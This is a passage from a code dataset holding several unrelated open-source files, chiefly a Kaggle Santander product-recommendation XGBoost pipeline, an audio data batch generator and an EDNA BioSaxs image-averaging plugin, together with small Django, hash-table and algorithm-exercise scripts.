= lin.split('\\t')\n Table.append(line)\n\n unique = types[this_type][0]\n indepe = types[this_type][1]\n depend = types[this_type][2]\n ind_sets = dict()\n # get name of unique subset\n unique_name = ''\n for k in sorted(unique.keys()):\n unique_name += ':' + unique[k]\n\n # for each line in Table,\n for lineno, line in enumerate(Table):\n # extract flags to args dict\n args = getargs(line[HeaderDict['Flags']])\n\n # select this line if unique matches\n sel = True\n for key in unique:\n if unique[key] != args[key]:\n sel = False\n break\n if not sel:\n continue #\n\n # add add this line to seq of ind_set matches\n ind_key = ''\n for key in indepe:\n val = args[key]\n if val.isdigit(): #number is a positive int. \n if int(val)>99999999: raise Exception('ugly int')\n val = ('00000000'+val)[-8:] # introduce leading zeros\n ind_key += ':' + val # for lexical sorting\n items = ind_sets.get(ind_key, None)\n if items is None:\n items = [] # construct a new list\n items.append(lineno)\n ind_sets[ind_key] = items\n\n with open(this_type+unique_name, 'w') as f_out:\n # sort ind_sets\n for iset in sorted(ind_sets.keys()):\n # write the independent and dependent variables to a file\n # (name based on unique set values)\n spiset = iset[1:].split(':')\n for i,x in enumerate(spiset):\n spiset[i] = x.lstrip('0') # remove leading zeros...\n # for each unique match in ind_sets\n sums = [0]*(len(depend)+1) #entry for each dep var and count\n for lns in ind_sets[iset]:\n # average the dep variables for all lines in sequence\n line = Table[lns]\n sums[-1] += 1 # this is the count\n if all_lines:\n # write the independent variables\n for val in spiset:\n print(val, sep='\\t', end='\\t', file=f_out)\n for i, k in enumerate(depend):\n val = float(line[HeaderDict[k]])\n sums[i] += val\n if all_lines:\n # write the dependent variables\n print(val, sep='\\t', end='\\t', file=f_out)\n if all_lines:\n print(file=f_out)\n\n if stats:\n # write the independent variables\n for val in spiset:\n print(val, sep='\\t', end='\\t', file=f_out)\n # write the dependent variables\n for val in sums[:-1]:\n print(\"%.4f\"%(val/sums[-1]), sep='\\t', end='\\t', file=f_out)\n print(sums[-1],file=f_out)\n\ndef getargs(string):\n \"\"\"\n parse the ...:Namespace(...) string from the beginning of a results line\n returning a dict of parameter names and values\n \"\"\"\n answer = dict()\n argstr = string[1+string.find('('):-1]\n argsar = argstr.split(', ')\n for argp in argsar:\n esign = argp.find('=')\n key = argp[:esign]\n if key[0:1] == '--':\n key = key[2:]\n val = argp[1+esign:]\n if val[0] == \"'\" or val[0] == '\"':\n val = val[1:-1]\n answer[key] = val\n return answer\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"StephenETaylor/2021","sub_path":"DSC/read_dir_results.py","file_name":"read_dir_results.py","file_ext":"py","file_size_in_byte":6331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"24701082730","text":"import textwrap\r\nkey = None\r\nupi = 0\r\nlenhas = 11\r\nhas = [None for i in range(lenhas)]\r\nprint(has)\r\nlista = ['amor', 'gato', 'numb', 'mute', 'vrau', \"marituba\"]\r\nfor f in range(len(lista)):\r\n x = \"\"\r\n vt = []\r\n teste = list(lista[f])\r\n for lp in range(len(teste)):\r\n vt.append(str(ord(teste[lp])))\r\n for j in range(len(vt)):\r\n x = x + vt[j]\r\n print(\"Valor de x: \", x)\r\n inp = textwrap.wrap(x, 2)\r\n for h in range(len(inp)):\r\n upi += int(inp[h])\r\n inp = upi\r\n print(\"Valor bruto: \", inp)\r\n k = inp % lenhas\r\n print(\"Chave %s para %s: \" % (k, lista[f]))\r\n if has[k] is None:\r\n has[k] = lista[f]\r\n else:\r\n for t in range(k+1, lenhas):\r\n if has[t] is None:\r\n has[t] = lista[f]\r\n break\r\n if t == lenhas and has[k] is not None:\r\n for c in range(lenhas):\r\n if has[t] is None:\r\n has[t] = lista[f]\r\n break\r\n print(has)\r\n\r\n\r\nprint(has)\r\nfor jk in range(lenhas):\r\n if has[jk] is not None:\r\n print(\"Chave: %s\\nElemento: %s\" % (jk, has[jk]))\r\ninput(\"Aperte Enter para finalizar\")\r\n","repo_name":"Phdmr/hashprojectpython","sub_path":"HashTabFoldMethodForStr.py","file_name":"HashTabFoldMethodForStr.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"8225491847","text":"import numpy as np\nimport random\n\nclass DataGenerator(object):\n def __init__(self, batch_size, type, te_max_iter=None):\n assert type in ['train', 'test']\n self._batch_size_ = batch_size\n self._type_ = type\n self._te_max_iter_ = te_max_iter\n \n def generate(self, xs, ys):\n x = xs[0]\n y = ys[0]\n batch_size = self._batch_size_\n n_samples = len(x)\n \n index = np.arange(n_samples)\n np.random.shuffle(index)\n \n iter = 0\n epoch = 0\n pointer = 0\n while True:\n if (self._type_ == 'test') and (self._te_max_iter_ is not None):\n if iter == self._te_max_iter_:\n break\n iter += 1\n if pointer >= n_samples:\n epoch += 1\n if (self._type_) == 'test' and (epoch == 1):\n break\n pointer = 0\n np.random.shuffle(index) \n \n batch_idx = index[pointer : min(pointer + batch_size, n_samples)]\n pointer += batch_size\n yield x[batch_idx], y[batch_idx]\n \nclass RatioDataGenerator(object):\n def __init__(self, batch_size, type, te_max_iter=100, verbose=1):\n assert type in ['train', 'test']\n self._batch_size_ = batch_size\n self._type_ = type\n self._te_max_iter_ = te_max_iter\n self._verbose_ = verbose\n \n def _get_lb_list(self, n_samples_list):\n lb_list = []\n for idx in xrange(len(n_samples_list)):\n n_samples = n_samples_list[idx]\n lb_list += [idx]\n return lb_list\n \n def generate(self, xs, ys):\n batch_size = self._batch_size_\n x = xs[0]\n y = ys[0]\n (n_samples, n_labs) = y.shape\n \n n_samples_list = np.sum(y, axis=0)\n lb_list = self._get_lb_list(n_samples_list)\n \n if self._verbose_ == 1:\n print(\"n_samples_list: %s\" % (n_samples_list,))\n print(\"lb_list: %s\" % (lb_list,))\n print(\"len(lb_list): %d\" % len(lb_list))\n \n index_list = []\n for i1 in xrange(n_labs):\n index_list.append(np.where(y[:, i1] == 1)[0])\n \n for i1 in xrange(n_labs):\n np.random.shuffle(index_list[i1])\n \n queue = []\n pointer_list = [0] * n_labs\n len_list = [len(e) for e in index_list]\n iter = 0\n while True:\n if (self._type_) == 'test' and (iter == self._te_max_iter_):\n break\n iter += 1\n batch_x = []\n batch_y = []\n \n while len(queue) < batch_size:\n random.shuffle(lb_list)\n queue += lb_list\n \n batch_idx = queue[0 : batch_size]\n queue[0 : batch_size] = []\n \n n_per_class_list = [batch_idx.count(idx) for idx in xrange(n_labs)]\n \n for i1 in xrange(n_labs):\n if pointer_list[i1] >= len_list[i1]:\n pointer_list[i1] = 0\n np.random.shuffle(index_list[i1])\n \n per_class_batch_idx = index_list[i1][pointer_list[i1] : min(pointer_list[i1] + n_per_class_list[i1], len_list[i1])]\n batch_x.append(x[per_class_batch_idx])\n batch_y.append(y[per_class_batch_idx])\n pointer_list[i1] += n_per_class_list[i1]\n batch_x = np.concatenate(batch_x, axis=0)\n batch_y = np.concatenate(batch_y, axis=0)\n yield batch_x, batch_y","repo_name":"qiuqiangkong/ICASSP2018_audioset","sub_path":"data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"68"} +{"seq_id":"34281281082","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n\t#Leave as empty string for base url\n\tpath('', views.welcome, name=\"welcome\"),\n\tpath('store/', views.store, name=\"store\"),\n\tpath('cart/', views.cart, name=\"cart\"),\n\tpath('checkout/', views.checkout, name=\"checkout\"),\n\tpath('pay/', views.pay, name=\"pay\"),\n\tpath('update_item/', views.updateItem, name=\"update_item\"),\n\tpath('process_order/', views.processOrder, name=\"process_order\"),\n\tpath('statikus/', views.statikus, name=\"statikus\"),\n\tpath('dinamikus/', views.dinamikus, name=\"dinamikus\"),\n\tpath('complete/', views.paymentComplete, name=\"complete\"),\n\t\n\n]","repo_name":"fmk1234/asd123","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"25947491605","text":"# https://www.acmicpc.net/problem/7568\n\nimport sys\n\nnum_people = int(sys.stdin.readline().rstrip())\npeople_info = []\npeople_rate = []\nfor _ in range(num_people):\n x, y = list(map(int, sys.stdin.readline().rstrip().split()))\n people_info.append((x, y))\n\nfor weight, height in people_info:\n count = 0\n for other_weight, other_height in people_info:\n if (other_weight > weight) and (other_height > height):\n count += 1\n people_rate.append(count+1)\n\nprint(' '.join(map(str, people_rate)))\n\n\n\n ","repo_name":"EmjayAhn/DailyAlgorithm","sub_path":"01_baekjoon/68_problem_7568.py","file_name":"68_problem_7568.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"2243953981","text":"'''\n This file is the kweonwooj's Santander Product Recommendation pipeline script.\n Feature Engineering is mainly lag-5 feature with few aggregation.\n Model is XGBoost with complexity tuned.\n Cross-validation scheme uses 95:05 split stratifiedshufflesplit x 2 times\n\n This script has result as below:\n TRN logloss : 0.8548372\n VLD logloss : 0.9492806\n Best Iters : 199.5\n Private LB : 0.0302238\n'''\n\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import log_loss\nimport xgboost as xgb\nfrom utils.log_utils import get_logger\nfrom prepare_data import prepare_data\nfrom preprocess_data import preprocess_data\nimport os\nimport time\n\n\nLOG = get_logger('kweonwooj_solution.log')\n\n\ndef main():\n\n ##################################################################################################################\n # Prepare data\n ##################################################################################################################\n\n LOG.info('=' * 50)\n LOG.info('# Prepare data..')\n prepare_data(LOG)\n\n ##################################################################################################################\n # Preprocessing\n ##################################################################################################################\n\n LOG.info('=' * 50)\n LOG.info('# Preprocessing data..')\n preprocess_data(LOG)\n\n ##################################################################################################################\n # Feature Engineering\n ##################################################################################################################\n\n LOG.info('=' * 50)\n LOG.info('# Feature Engineering..')\n trn_path = './input/trn.csv'\n tst_path = './input/tst.csv'\n trg_path = './input/target.csv'\n\n # load data\n trn = pd.read_csv(trn_path)\n tst = pd.read_csv(tst_path)\n trg = pd.read_csv(trg_path)\n\n target_cols = ['ind_ahor_fin_ult1', 'ind_aval_fin_ult1', 'ind_cco_fin_ult1',\n 'ind_cder_fin_ult1', 'ind_cno_fin_ult1', 'ind_ctju_fin_ult1',\n 'ind_ctma_fin_ult1', 'ind_ctop_fin_ult1', 'ind_ctpp_fin_ult1',\n 'ind_deco_fin_ult1', 'ind_deme_fin_ult1', 'ind_dela_fin_ult1',\n 'ind_ecue_fin_ult1', 'ind_fond_fin_ult1', 'ind_hip_fin_ult1',\n 'ind_plan_fin_ult1', 'ind_pres_fin_ult1', 'ind_reca_fin_ult1',\n 'ind_tjcr_fin_ult1', 'ind_valo_fin_ult1', 'ind_viv_fin_ult1',\n 'ind_nomina_ult1', 'ind_nom_pens_ult1', 'ind_recibo_ult1']\n lags = ['_lag_one', '_lag_two', '_lag_thr', '_lag_fou', '_lag_fiv']\n diffs = [['fiv', 'fou'], ['fou', 'thr'], ['thr', 'two'], ['two', 'one']]\n\n LOG.info('# na_count')\n # null count per row\n trn['na_count'] = trn.isnull().sum(axis=1)\n tst['na_count'] = tst.isnull().sum(axis=1)\n\n LOG.info('# target_sum_lag')\n # total count of purchases per month\n for lag in lags:\n trn['target_sum' + lag] = (trn[[col + lag for col in target_cols]].sum(axis=1))\n tst['target_sum' + lag] = (tst[[col + lag for col in target_cols]].sum(axis=1))\n\n LOG.info('# avg of cols')\n # average of cols over past 5 months\n cols = ['ind_actividad_cliente', 'ult_fec_cli_1t']\n for col in cols:\n trn[col + lag + '_avg'] = (trn[[col + lag for lag in lags]]).mean(axis=1)\n tst[col + lag + '_avg'] = (tst[[col + lag for lag in lags]]).mean(axis=1)\n\n LOG.info('# target_sum over lag-5')\n # cumulative sum of target cols over past 5 months\n for col in target_cols:\n trn[col + '_sum'] = (trn[[col + lag for lag in lags]].sum(axis=1))\n tst[col + '_sum'] = (tst[[col + lag for lag in lags]].sum(axis=1))\n\n LOG.info('# target_sum_diff for each months')\n # change in count of purchases per month compared to its last month\n for diff in diffs:\n pre = diff[0]\n post = diff[1]\n trn['target_diff_' + post + '-' + pre] = trn['target_sum_lag_' + post] - trn['target_sum_lag_' + pre]\n tst['target_diff_' + post + '-' + pre] = tst['target_sum_lag_' + post] - tst['target_sum_lag_' + pre]\n\n LOG.info('# target_diff for each months')\n # change in individual purchases for each month compared to its last month\n for col in target_cols:\n for diff in diffs:\n pre = diff[0]\n post = diff[1]\n trn[col + '_label_lag_' + post] = trn[col + '_lag_' + post] - trn[col + '_lag_' + pre]\n tst[col + '_label_lag_' + post] = tst[col + '_lag_' + post] - tst[col + '_lag_' + pre]\n\n LOG.info('# unique target count')\n # unique count of purchased targets over 5 months\n trn['unique_target_count'] = (trn[[col + '_sum' for col in target_cols]] > 0).astype(int).sum(axis=1)\n tst['unique_target_count'] = (tst[[col + '_sum' for col in target_cols]] > 0).astype(int).sum(axis=1)\n\n LOG.info('# Drop infrequent targets..')\n rem_targets = [2, 23, 22, 21, 18, 17, 4, 12, 11, 9, 6, 13, 7, 19, 8]\n trn = trn[trg['0'].isin(rem_targets)]\n trg = trg[trg['0'].isin(rem_targets)]\n trg = LabelEncoder().fit_transform(trg)\n\n LOG.info('# trn : {} | trg : {} | tst : {}'.format(trn.shape, trg.shape, tst.shape))\n\n # cache\n LOG.info('# Caching data as trn.csv / tst.csv ..')\n trn.to_csv('./input/trn_cache.csv', index=False)\n tst.to_csv('./input/tst_cache.csv', index=False)\n pd.DataFrame(trg).to_csv('./input/trg_cache.csv', index=False)\n\n ##################################################################################################################\n # CV Evaluation\n ##################################################################################################################\n\n # from cache\n trn = pd.read_csv('./input/trn_cache.csv')\n tst = pd.read_csv('./input/tst_cache.csv')\n trg = pd.read_csv('./input/trg_cache.csv')\n\n LOG.info('=' * 50)\n LOG.info('# Cross validation..')\n\n # XGB Model Param\n num_round = 500\n early_stop = 50\n xgb_params = {\n 'booster': 'gbtree',\n 'gamma': 1,\n 'learning_rate': 0.1,\n 'max_depth': 4,\n 'min_child_weight': 3,\n 'nthread': 4,\n 'num_class': 15,\n 'objective': 'multi:softprob',\n 'silent': 1,\n 'eval_metric': 'mlogloss',\n 'seed': 777,\n }\n\n trn_scores = []\n vld_scores = []\n best_iters = []\n n_splits = 2\n sss = StratifiedShuffleSplit(n_splits=n_splits, test_size=0.05, random_state=777)\n for i, (t_ind, v_ind) in enumerate(sss.split(trn, trg)):\n LOG.info('# Iter {} / {}'.format(i+1, n_splits))\n x_trn = np.asarray(trn)[t_ind]\n x_vld = np.asarray(trn)[v_ind]\n y_trn = np.asarray(trg)[t_ind]\n y_vld = np.asarray(trg)[v_ind]\n\n dtrn = xgb.DMatrix(x_trn, label=y_trn)\n dvld = xgb.DMatrix(x_vld, label=y_vld)\n watch_list = [(dtrn, 'train'), (dvld, 'eval')]\n\n # fit xgb\n bst = xgb.train(xgb_params, dtrn, num_round, watch_list,\n early_stopping_rounds=early_stop, verbose_eval=True)\n\n # eval _ trn\n score = log_loss(y_trn, bst.predict(dtrn))\n trn_scores.append(score)\n\n # eval _ vld\n score = log_loss(y_vld, bst.predict(dvld))\n vld_scores.append(score)\n\n # best iters\n best_iters.append(bst.best_iteration)\n\n LOG.info('# TRN logloss: {}'.format(np.mean(trn_scores)))\n LOG.info('# VLD logloss: {}'.format(np.mean(vld_scores)))\n LOG.info('# Best Iters : {}'.format(np.mean(best_iters)))\n\n ##################################################################################################################\n # Model Fit\n ##################################################################################################################\n\n LOG.info('=' * 50)\n LOG.info('# Refit and predict on test data..')\n dtrn = xgb.DMatrix(trn, label=trg)\n num_round = int(np.mean(best_iters) / 0.9)\n bst = xgb.train(xgb_params, dtrn, num_round, verbose_eval=False)\n\n dtst = xgb.DMatrix(tst)\n preds = bst.predict(dtst)\n preds = np.fliplr(np.argsort(preds, axis=1))\n\n ##################################################################################################################\n # Submission\n ##################################################################################################################\n\n LOG.info('=' * 50)\n LOG.info('# Generating a submission..')\n submit_cols = [target_cols[i] for i, col in enumerate(target_cols) if i in rem_targets]\n\n final_preds = []\n for pred in preds:\n top_products = []\n for i, product in enumerate(pred):\n top_products.append(submit_cols[product])\n if i == 6:\n break\n final_preds.append(' '.join(top_products))\n\n t_index = pd.read_csv('../root_input/test_ver2.csv', usecols=['ncodpers'])\n test_id = t_index['ncodpers']\n out_df = pd.DataFrame({'ncodpers': test_id, 'added_products': final_preds})\n file_name = datetime.now().strftime(\"result_%Y%m%d%H%M%S\") + '.csv'\n path = './output'\n if not os.path.exists(path):\n os.makedirs(path)\n out_df.to_csv(os.path.join(path, file_name), index=False)\n\n LOG.info('# Clean files')\n cmd = 'rm -rf ./input'\n os.system(cmd)\n\n LOG.info('=' * 50)\n LOG.info('# Finished!')\n LOG.info('=' * 50)\n\n\nif __name__ == '__main__':\n start = time.time()\n main()\n LOG.info('finished ({:.2f} sec elapsed)'.format(time.time() - start))\n","repo_name":"kweonwooj/kaggle_santander_product_recommendation","sub_path":"kweonwooj/code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9694,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"68"} +{"seq_id":"41019107057","text":"__author__ = \"Jérôme Kieffer\"\n__license__ = \"GPLv3+\"\n__copyright__ = \"ESRF\"\n\nimport os, sys, shutil\nfrom EDVerbose import EDVerbose\nfrom EDPluginControl import EDPluginControl\nfrom EDFactoryPluginStatic import EDFactoryPluginStatic\nfrom XSDataCommon import XSDataString, XSDataBoolean, XSDataImage, \\\n XSDataDouble, XSDataFile, XSDataTime\nfrom XSDataBioSaxsv1_0 import XSDataInputBioSaxsAveragev1_0, XSDataResultBioSaxsAveragev1_0, \\\n XSDataInputBioSaxsAsciiExportv1_0, \\\n XSDataInputBioSaxsMetadatav1_0, XSDataResultBioSaxsMetadatav1_0\nEDFactoryPluginStatic.loadModule(\"XSDataWaitFilev1_0\")\nfrom XSDataWaitFilev1_0 import XSDataInputWaitMultiFile\nEDFactoryPluginStatic.loadModule(\"XSDataSaxsv1_0\")\nfrom XSDataSaxsv1_0 import XSDataInputSaxsMacv1_0\n\nclass EDPluginBioSaxsAveragev1_0(EDPluginControl):\n \"\"\"\n Control for Bio Saxs Averaging of spectra in : \n * wait for azimuthally integrated files to arrive (EDPluginWaitMultiFile) \n * sum & divide spectra (EDPluginSaxsMCv1_0)\n * export as spec-file (EDPluginBioSaxsAsciiExportv1_0) \n \"\"\"\n\n\n def __init__(self):\n \"\"\"\n \"\"\"\n EDPluginControl.__init__(self)\n self.setXSDataInputClass(XSDataInputBioSaxsAveragev1_0)\n self.__strControlledPluginWaitMultiFile = \"EDPluginWaitMultiFile\"\n self.__strControlledPluginSaxsMac = \"EDPluginExecSaxsMacv1_0\"\n self.__strControlledPluginAsciiExport = \"EDPluginBioSaxsAsciiExportv1_0\"\n self.__strControlledPluginSaxsGetMetadata = \"EDPluginBioSaxsMetadatav1_1\"\n self.__strControlledPluginSaxsSetMetadata = \"EDPluginBioSaxsMetadatav1_1\"\n self.__edPluginWaitMultiFile = None\n self.__edPluginSaxsMac = None\n self.__edPluginAsciiExport = None\n self.__edPluginSaxsGetMetadata = None\n self.__edPluginSaxsSetMetadata = None\n\n self.xsdMetadata = None\n\n self.averagedImage = None\n self.integratedImages = []\n self.averagedCurve = None\n self.normalizationFactor = None\n self.correctedImage = None\n self.concentration = None\n self.comments = None\n self.code = None\n\n self.strLogFile = None\n self.strProcessLog = \"\"\n self.xsdResult = XSDataResultBioSaxsAveragev1_0()\n\n def checkParameters(self):\n \"\"\"\n Checks the mandatory parameters.\n \"\"\"\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.checkParameters\")\n self.checkMandatoryParameters(self.dataInput, \"Data Input is None\")\n self.checkMandatoryParameters(self.dataInput.getIntegratedImage(), \"Missing IntegratedImage\")\n self.checkMandatoryParameters(self.dataInput.getIntegratedImageSize(), \"Missing IntegratedImageSize\")\n self.checkMandatoryParameters(self.dataInput.getAveragedImage(), \"Missing AveragedImage\")\n self.checkMandatoryParameters(self.dataInput.getAveragedCurve(), \"Missing AveragedCurve\")\n self.checkMandatoryParameters(self.dataInput.getLogFile(), \"Missing log File\")\n\n\n\n def preProcess(self, _edObject=None):\n EDPluginControl.preProcess(self)\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.preProcess\")\n # Load the execution plugins\n self.__edPluginWaitMultiFile = self.loadPlugin(self.__strControlledPluginWaitMultiFile)\n self.__edPluginSaxsMac = self.loadPlugin(self.__strControlledPluginSaxsMac)\n self.__edPluginAsciiExport = self.loadPlugin(self.__strControlledPluginAsciiExport)\n self.__edPluginSaxsGetMetadata = self.loadPlugin(self.__strControlledPluginSaxsGetMetadata)\n self.__edPluginSaxsSetMetadata = self.loadPlugin(self.__strControlledPluginSaxsSetMetadata)\n\n self.integratedImages = [ oneImage.getPath().value for oneImage in self.dataInput.getIntegratedImage()]\n\n self.averagedImage = self.dataInput.getAveragedImage().getPath().value\n self.averagedCurve = self.dataInput.getAveragedCurve().getPath().value\n self.strLogFile = self.dataInput.getLogFile().getPath().value\n\n\n def process(self, _edObject=None):\n EDPluginControl.process(self)\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.process\")\n\n\n xsdiWaitMultiFile = XSDataInputWaitMultiFile(expectedFile=[XSDataFile(i.path) for i in self.dataInput.integratedImage],\n expectedSize=self.dataInput.integratedImageSize,\n timeOut=XSDataTime(30))\n self.__edPluginWaitMultiFile.setDataInput(xsdiWaitMultiFile)\n self.__edPluginWaitMultiFile.connectSUCCESS(self.doSuccessWaitMultiFile)\n self.__edPluginWaitMultiFile.connectFAILURE(self.doFailureWaitMultiFile)\n self.__edPluginWaitMultiFile.executeSynchronous ()\n\n def postProcess(self, _edObject=None):\n EDPluginControl.postProcess(self)\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.postProcess\")\n\n #remove the terminal carriage return\n if self.strProcessLog.endswith(\"\\n\"):\n self.strProcessLog = self.strProcessLog[:-1]\n # Create some output data\n self.xsdResult.setProcessLog(XSDataString(self.strProcessLog))\n self.setDataOutput(self.xsdResult)\n EDVerbose.DEBUG(\"Comment generated ...\\n\" + self.strProcessLog)\n\n\n def doSuccessWaitMultiFile(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doSuccessWaitMultiFile\")\n self.retrieveSuccessMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doSuccessWaitMultiFile\")\n\n self.strProcessLog += \"Retrieve metadata from file %s\\n\" % (self.integratedImages[0])\n xsdiMetadata = XSDataInputBioSaxsMetadatav1_0()\n xsdiMetadata.setInputImage(self.dataInput.getIntegratedImage()[0])\n xsdiMetadata.setConcentration(self.dataInput.concentration)\n xsdiMetadata.setComments(self.dataInput.comments)\n xsdiMetadata.setCode(self.dataInput.code)\n xsdiMetadata.setDetector(self.dataInput.getDetector())\n xsdiMetadata.setDetectorDistance(self.dataInput.detectorDistance)\n xsdiMetadata.setPixelSize_1(self.dataInput.pixelSize_1)\n xsdiMetadata.setPixelSize_2(self.dataInput.pixelSize_2)\n xsdiMetadata.setBeamCenter_1(self.dataInput.beamCenter_1)\n xsdiMetadata.setBeamCenter_2(self.dataInput.beamCenter_2)\n xsdiMetadata.setWavelength(self.dataInput.wavelength)\n xsdiMetadata.setMachineCurrent(self.dataInput.machineCurrent)\n xsdiMetadata.setMaskFile(self.dataInput.maskFile)\n xsdiMetadata.setNormalizationFactor(self.dataInput.normalizationFactor)\n self.__edPluginSaxsGetMetadata.setDataInput(xsdiMetadata)\n self.__edPluginSaxsGetMetadata.connectSUCCESS(self.doSucessGetMetadata)\n self.__edPluginSaxsGetMetadata.connectFAILURE(self.doFailureGetMetadata)\n self.__edPluginSaxsGetMetadata.executeSynchronous()\n\n\n def doFailureWaitMultiFile(self, _edPlugin=None):\n self.synchronizeOn()\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doFailureWaitMultiFile\")\n self.retrieveFailureMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doFailureWaitMultiFile\")\n self.strProcessLog += \"Timeout in waiting for file '%s'\\n\" % (_edPlugin.dataInput.getExpectedFile().getPath().value)\n EDVerbose.DEBUG(\"XSDataResult from EDPluginWaitMultiFile that failed: \\n%s\" % _edPlugin.getDataOutput().marshal())\n self.synchronizeOff()\n self.setFailure()\n\n\n def doSucessGetMetadata(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doSuccessGetMetadata\")\n# self.strProcessLog += \"Averaging EDF images to '%s'\\n\" % (self.averagedImage)\n self.xsdMetadata = _edPlugin.getDataOutput()\n\n xsdSaxsMac = XSDataInputSaxsMacv1_0()\n prefix = os.path.commonprefix(self.integratedImages)\n listFilesReversed = []\n for oneFile in self.integratedImages:\n revLst = list(oneFile)\n revLst.reverse()\n listFilesReversed.append(\"\".join(revLst))\n revLst = list(os.path.commonprefix(listFilesReversed))\n revLst.reverse()\n suffix = \"\".join(revLst)\n lenSuffix = len(suffix)\n lenPrefix = len(prefix)\n maxdif = 0\n maxInt = 0\n miniInt = sys.maxint\n for oneFile in self.integratedImages:\n lenOneFile = len(oneFile)\n if lenOneFile - lenSuffix - lenPrefix > maxdif:\n maxdif = lenOneFile - lenSuffix - lenPrefix\n try:\n val = int(oneFile[lenPrefix:-lenSuffix])\n except Exception:\n val = None\n pass\n if val is not None:\n if val < miniInt:\n miniInt = val\n if val > maxInt:\n maxInt = val\n strImages = prefix + \"\"\"%\"\"\" * maxdif + suffix + \",%i,%i\" % (miniInt, maxInt)\n self.strProcessLog += \"Averaging images '%s' to %s\\n\" % (strImages, self.averagedImage)\n EDVerbose.DEBUG(\"Averaging '%s'\\n\" % (strImages))\n xsdImage = XSDataImage()\n xsdImage.setPath(XSDataString(strImages))\n xsdiSaxsMac = XSDataInputSaxsMacv1_0()\n xsdiSaxsMac.setInputImage(xsdImage)\n xsdiSaxsMac.setOutputImage(self.dataInput.getAveragedImage())\n xsdiSaxsMac.setOptions(XSDataString(\"+pass -omod n +var -add %d\" % len(self.integratedImages)))\n xsdiSaxsMac.setMultConst(XSDataDouble(1.0 / len(self.integratedImages)))\n self.__edPluginSaxsMac.setDataInput(xsdiSaxsMac)\n self.__edPluginSaxsMac.connectSUCCESS(self.doSuccessSaxsMac)\n self.__edPluginSaxsMac.connectFAILURE(self.doFailureSaxsMac)\n self.__edPluginSaxsMac.executeSynchronous()\n\n def doFailureGetMetadata(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doFailureGetMetadata\")\n self.retrieveFailureMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doFailureGetMetadata\")\n self.strProcessLog += \"Failure in GetMetadata retrival from '%s'\\n\" % (self.integratedImages[0])\n self.setFailure()\n\n\n\n\n def doSuccessSaxsMac(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doSuccessSaxsMac\")\n self.retrieveSuccessMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doSuccessSaxsMac\")\n strEdnaLogFile = os.path.join(_edPlugin.getWorkingDirectory(), _edPlugin.getScriptLogFileName())\n EDVerbose.DEBUG(\"ExecPlugin log file is in: %s\" % strEdnaLogFile)\n if os.path.isfile(strEdnaLogFile):\n shutil.copy(strEdnaLogFile, self.strLogFile)\n xsLogFile = XSDataFile()\n xsLogFile.setPath(XSDataString(self.strLogFile))\n self.xsdResult.setLogFile(xsLogFile)\n\n xsdiMetadata = XSDataInputBioSaxsMetadatav1_0()\n xsdiMetadata.setInputImage(self.dataInput.getAveragedImage())\n xsdiMetadata.setOutputImage(self.dataInput.getAveragedImage())\n xsdiMetadata.setConcentration(self.xsdMetadata.concentration)\n xsdiMetadata.setComments(self.xsdMetadata.comments)\n xsdiMetadata.setCode(self.xsdMetadata.code)\n xsdiMetadata.setDetector(self.xsdMetadata.getDetector())\n xsdiMetadata.setDetectorDistance(self.xsdMetadata.detectorDistance)\n xsdiMetadata.setPixelSize_1(self.xsdMetadata.pixelSize_1)\n xsdiMetadata.setPixelSize_2(self.xsdMetadata.pixelSize_2)\n xsdiMetadata.setBeamCenter_1(self.xsdMetadata.beamCenter_1)\n xsdiMetadata.setBeamCenter_2(self.xsdMetadata.beamCenter_2)\n xsdiMetadata.setWavelength(self.xsdMetadata.wavelength)\n xsdiMetadata.setMachineCurrent(self.xsdMetadata.machineCurrent)\n xsdiMetadata.setMaskFile(self.xsdMetadata.maskFile)\n xsdiMetadata.setNormalizationFactor(self.xsdMetadata.normalizationFactor)\n self.__edPluginSaxsSetMetadata.setDataInput(xsdiMetadata)\n self.__edPluginSaxsSetMetadata.connectSUCCESS(self.doSuccessSetMetadata)\n self.__edPluginSaxsSetMetadata.connectFAILURE(self.doFailureSetMetadata)\n self.__edPluginSaxsSetMetadata.executeSynchronous()\n\n\n\n def doFailureSaxsMac(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doFailureSaxsMac\")\n self.retrieveFailureMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doFailureSaxsMac\")\n self.strProcessLog += \"Error during averaging of images with saxs_angle on '%s'\\n\" % (self.averagedImage)\n self.setFailure()\n\n def doSuccessSetMetadata(self, _edPlugin=None):\n 